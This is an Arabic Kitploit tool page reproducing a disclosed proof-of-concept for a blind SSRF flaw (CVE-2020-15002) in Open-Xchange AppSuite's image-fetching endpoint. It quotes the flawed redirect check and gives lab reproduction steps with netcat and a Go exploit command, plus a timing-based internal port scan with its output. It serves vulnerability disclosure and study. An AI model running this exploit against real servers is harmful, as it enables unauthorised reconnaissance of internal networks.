Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Blind-SSRF-CVE-2020-15002 — https://hackerone.com/reports/865652 | Kitploit
أدوات/GitHubGitHub/skr0x1c0/blind-ssrf-cve-2020-15002
الاستطلاعمسح المنافذتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويب
GitHubskr0x1c0/blind-ssrf-cve-2020-15002

Blind-SSRF-CVE-2020-15002

https://hackerone.com/reports/865652

عرض المستودع
منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ملخص

المنطق في AddFileAction.getImageDataFromUrl لجلب الصور من عناوين URL خارجية عند معالجة /appsuite/api/oxodocumentfilter&action=addfile المنفذ هنا يتحقق من عناوين URL المعاد توجيهها فقط بعد اتباع جميع عمليات إعادة التوجيه

root@kitploit:~
response = httpClient.execute(getRequest, context);

int statusCode = response.getStatusLine().getStatusCode();
if (statusCode == HttpStatus.SC_OK) {
    List<URI> locations = context.getRedirectLocations();
    if (locations != null) {
        for (URI uri : locations) {
            try {
                Optional<OXException> oxException = validator.apply(uri.toURL());
                if (oxException.isPresent()) {
                    throw (RESTException) oxException.get().getCause();
                }
            } catch (MalformedURLException e) {
                throw new RESTException(ErrorCode.GENERAL_ARGUMENTS_ERROR, e);
            }
        };
    }
    long length = response.getEntity().getContentLength();
    ...
}

قد يستخدم المهاجم هذا لتنفيذ هجمات SSRF عمياء.

خطوات إعادة الإنتاج

  1. ثبّت Open-Xchange وDocuments في جهاز افتراضي باتباع الأدلة https://oxpedia.org/wiki/index.php?title=AppSuite:Open-Xchange_Installation_Guide_for_Debian_9.0 وhttps://oxpedia.org/wiki/index.php?title=AppSuite:Documents_Installation_Guide#Debian_GNU.2FLinux_9.0_.28valid_from_v7.10.29
  2. داخل الجهاز الافتراضي، شغّل الأمر التالي لجعل netcat يستمع على 127.0.0.1:7070
    root@kitploit:~
    nc -l 127.0.0.1 -p 7070
    
  3. على الجهاز المضيف، ثبّت golang من https://golang.org/dl/
  4. نزّل ملف poc.zip واستخرج محتواه
  5. افتح الطرفية / سطر الأوامر واضبط الدليل الحالي إلى مجلد poc.zip المستخرج
  6. شغّل الأمر
    root@kitploit:~
    go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret"
    
    حيث
    • redirectorAddress: عنوان IP والمنفذ الذي يجب أن يرتبط به خادم إعادة التوجيه. يجب أن يكون عنوان IP هذا قابلًا للوصول من الجهاز الافتراضي
    • targetPorts: المنفذ داخل الجهاز الافتراضي حيث يستمع netcat
    • serverRoot: عنوان URL الأساسي لخادم open-xchange
    • serverUser: اسم مستخدم أي مستخدم في خادم open-xchange
    • serverPass: كلمة مرور المستخدم في خادم open-xchange

سيؤدي تشغيل الأمر أعلاه إلى عرض المخرجات التالية في netcat

root@kitploit:~
GET /image.png HTTP/1.1
Accept: *
Accept-Encoding: gzip
Host: 127.0.0.1:7070
Connection: Keep-Alive
User-Agent: Open-Xchange Image Url Data Fetcher

التأثير

بما أن هذه ثغرة SSRF عمياء، فليس من الممكن قراءة استجابة طلبات HTTP. ومع ذلك، يمكن استخدام هذه الثغرة لأغراض الاستطلاع.

مثال: فحص المنافذ عن طريق قياس زمن الاستجابة

لتشغيل فحص منافذ على المنافذ 7070,61616,8004,80,22,25,8080,3125 على الشبكة المحلية للخادم، نفّذ الأمر التالي

root@kitploit:~
go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070,61616,8004,80,22,8080,3125" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret" -numSamples=20

المخرجات:

root@kitploit:~
2020/05/04 13:32:42 7070: 2.220000
2020/05/04 13:32:42 61616: 3567.000000
2020/05/04 13:32:42 8004: 2.980000
2020/05/04 13:32:42 80: 3.180000
2020/05/04 13:32:42 22: 34.600000
2020/05/04 13:32:42 25: 2169.333333
2020/05/04 13:32:42 8080: 2.560000
2020/05/04 13:32:42 3125: 3.000000

يمكننا استخدام lsof لرؤية المنافذ المفتوحة داخل الجهاز الافتراضي

root@kitploit:~
sudo lsof -nP -iTCP -sTCP:LISTEN

المخرجات:

root@kitploit:~
COMMAND  PID         USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java     467 open-xchange   15u  IPv6  13049      0t0  TCP 172.16.66.130:9994 (LISTEN)
java     467 open-xchange   16u  IPv6  15970      0t0  TCP *:42319 (LISTEN)
java     467 open-xchange   24u  IPv6  14136      0t0  TCP 127.0.0.1:61616 (LISTEN)
java     467 open-xchange   33u  IPv6  16419      0t0  TCP *:8004 (LISTEN)
java     489 open-xchange   37u  IPv6  14138      0t0  TCP 127.0.0.1:9999 (LISTEN)
java     489 open-xchange   42u  IPv6  17565      0t0  TCP 127.0.0.1:1099 (LISTEN)
java     489 open-xchange   47u  IPv6  14144      0t0  TCP 127.0.0.1:5701 (LISTEN)
java     489 open-xchange  127u  IPv6  15345      0t0  TCP *:36149 (LISTEN)
java     489 open-xchange  144u  IPv6  17559      0t0  TCP 127.0.0.1:8009 (LISTEN)
apache2  526         root    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  527     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  528     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
mysqld   695        mysql   26u  IPv4  13847      0t0  TCP 127.0.0.1:3306 (LISTEN)
exim4   1077  Debian-exim    3u  IPv4  13115      0t0  TCP 127.0.0.1:25 (LISTEN)
exim4   1077  Debian-exim    4u  IPv6  13116      0t0  TCP [::1]:25 (LISTEN)
sshd    1345         root    3u  IPv4  14259      0t0  TCP 172.16.66.130:22 (LISTEN)
sshd    1345         root    4u  IPv4  14261      0t0  TCP 127.0.0.1:22 (LISTEN)

من المخرجات أعلاه، يمكن استخلاص الملاحظات التالية:

  • كما نرى للمنافذ المغلقة 7070 و8080 و3125، فإن أوقات الاستجابة منخفضة (~ أقل من 3 مللي ثانية)
  • بالنسبة للمنافذ المفتوحة، يختلف زمن الاستجابة حسب نوع الاتصال المستمع
    • بالنسبة لـ ssh (المنفذ 22) يبلغ زمن الاستجابة ~34 مللي ثانية
    • بالنسبة لـ exim (المنفذ 25) يبلغ زمن الاستجابة ~2170 مللي ثانية
    • بالنسبة لـ ActiveMQ (المنفذ 61616) يبلغ زمن الاستجابة ~3567 مللي ثانية
    • بالنسبة لـ http (المنفذان 80 و8004) يبلغ زمن الاستجابة ~3 مللي ثانية (من الصعب تمييز هذا النوع عن المنافذ المغلقة)

لذلك يمكن للمهاجم استخدام هذه الثغرة لاكتشاف معظم المنافذ المفتوحة، ويمكنه استخدام زمن الاستجابة لتحديد نوع الاتصال (ssh / exim / activemq وما إلى ذلك).

تنزيل الأداة